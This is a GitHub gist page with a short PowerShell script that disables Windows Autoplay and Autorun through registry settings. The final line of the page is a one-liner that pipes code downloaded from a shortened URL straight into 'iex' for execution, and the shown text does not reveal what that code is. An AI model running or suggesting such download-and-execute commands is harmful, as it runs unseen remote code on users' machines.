Last active
May 22, 2017 11:06
-
-
Save heri16/b6a1243f7fdafb5672a02941da9a22af to your computer and use it in GitHub Desktop.
Disable Autorun in Windows
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Disable Autoplay | |
Write-Host "***Disabling Autoplay...***" | |
Set-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers" -Name "DisableAutoplay" -Type DWord -Value 1 | |
# Disable Autorun for all drives | |
Write-Host "***Disabling Autorun for all drives...***" | |
If (!(Test-Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer")) { | |
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" | Out-Null | |
} | |
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Name "NoDriveTypeAutoRun" -Type DWord -Value 255 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
iex (New-Object System.Net.Webclient).DownloadString("https://goo.gl/g3Q8hP")